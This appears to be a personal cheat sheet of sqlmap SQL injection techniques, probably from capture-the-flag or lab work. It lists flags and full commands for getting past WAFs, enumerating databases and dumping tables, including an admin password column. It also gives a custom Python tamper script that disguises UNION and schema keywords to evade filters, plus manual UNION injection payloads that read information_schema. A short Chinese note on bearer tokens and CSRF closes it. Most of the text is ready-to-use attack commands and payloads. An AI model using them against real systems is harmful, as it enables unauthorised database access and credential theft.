**--tamper**
Encoding payload
Scripts
https://muhdaffa.medium.com/tips-and-tricks-for-effective-sql-injection-testing-using-sqlmap-tamper-scripts-ed4bfa5717e7
F5 bypass
e.g. unicode Bypass
```
sqlmap -r req --tamper=charunicodeescape -p user -t 10 --dbs
```
**--delay**
Prevent be filtered by Limit Rate (WAF)
Impotant
```
-- delay 1
-- delay 3 (stable)
-- delay 5 (stable)
```
**--proxy**
we can specify the traffic through the burp proxy
**--level 5 --risk 3**
Best-effort try paylod
**--batch**
Default answer to any prompt
**--dbs**
fetch Database Name
**--dump-all**
Dump all
**--exclude-sysdbs**
Avoid the extraction of system databases.
**--ignore-timeouts**
ignore timeout connection !
**--threads**
### BASIC Usage:
```
# NO Waf Case
sqlmap -r req --dbs --level 5 --risk 3 --batch --proxy http://127.0.0.1:8080 -p d
sqlmap -r req --random-agent --dbs --level 5 --risk 3 --batch --proxy http://127.0.0.1:8080 --threads=10
#Waf Case
sqlmap -r req --random-agent --tamper=charunicodeescape --delay 1 --level 5 --risk 3 --batch --proxy http://127.0.0.1:8080
sqlmap -r req --tamper=charunicodeescape --delay 1 --level 5 --risk 3 --batch --proxy http://127.0.0.1:8080 --dbs --exclude-sysdbs --dump-all
sqlmap -r req --random-agent --tamper=charunicodeescape -p user --dbs --dbms=mysql --level 5 --risk 3 --batch --proxy http://127.0.0.1:8080 --delay 3
sqlmap -r req1 --random-agent --tamper=charunicodeescape --delay 3 --level 5 --risk 3 --batch --proxy http://127.0.0.1:8080 --dbs --exclude-sysdbs --dump-all
```
sqlmap -r req1.txt --risk=3 --level=5 --random-agent --dbs -p username
More Example
```
sqlmap -u "http://10.10.249.47/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
```
Vulnerable Website -> http://10.10.249.47/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"
Risk -> Deep
level -> Complex
Random-agent -> Enumerate Different User
dbs -> Auto enumerate the type of database
p -> Parameter (Vulnerable parameter )
### Exploitation
Task -> Find Admin credential
Listing information
-D -> DataBase
-T -> Table
Show tables
```
sqlmap -r apiTest.txt -D vn_admin --tables
```
Show columns
```
sqlmap -r apiTest.txt -D vn_admin -T fe_users --columns
```
Dump data
```
sqlmap -r apiTest.txt -D vn_admin -T fe_users -C password --dump
```
## Customize SQLI map Temper
Example
```python=
#!/usr/bin/env python
def dependencies():
pass
def tamper(payload:str, **kwargs):
CrucialString=[
'DATABASE()','FROM','schema_name','INFORMATION_SCHEMA.SCHEMATA','table_name',
'INFORMATION_SCHEMA.TABLES','table_schema','column_name','INFORMATION_SCHEMA.COLUMNS'
]
if payload:
if 'UNION' in payload:
payload=payload.replace('UNION','/*!--%20-%0AuNiOn%23a%0A*/')
if payload.startswith('42 '):
payload=payload.replace('42 ','42 and 0 ')
for i in CrucialString:
if i in payload:
payload=payload.replace(i,f'/*!50000{i}%23a%0A*/')
if '-- ' in payload:
payload=payload.replace('-- ','--%20')
return payload.replace(' ','/**/')
```
## Manual Exploit
### Show Tables
```
union select table_name from information_schema.tables-- -
```
Work
### Show Columns (specify tables)
```
union select column_name from information_schema.columns where table_name='users'-- -

### Retrieve Data

# API Testing
## Bearer Token Auth Bypass CSRF require
Bearer Token 认证：客户端明确在请求中设置 Authorization 标头，包含 Bearer Token。因为浏览器不会自动附加这些标头，攻击者无法利用用户的身份发送未经授权的请求。
Bearer Token 是一种安全的认证方式，可以有效避免 CSRF 攻击
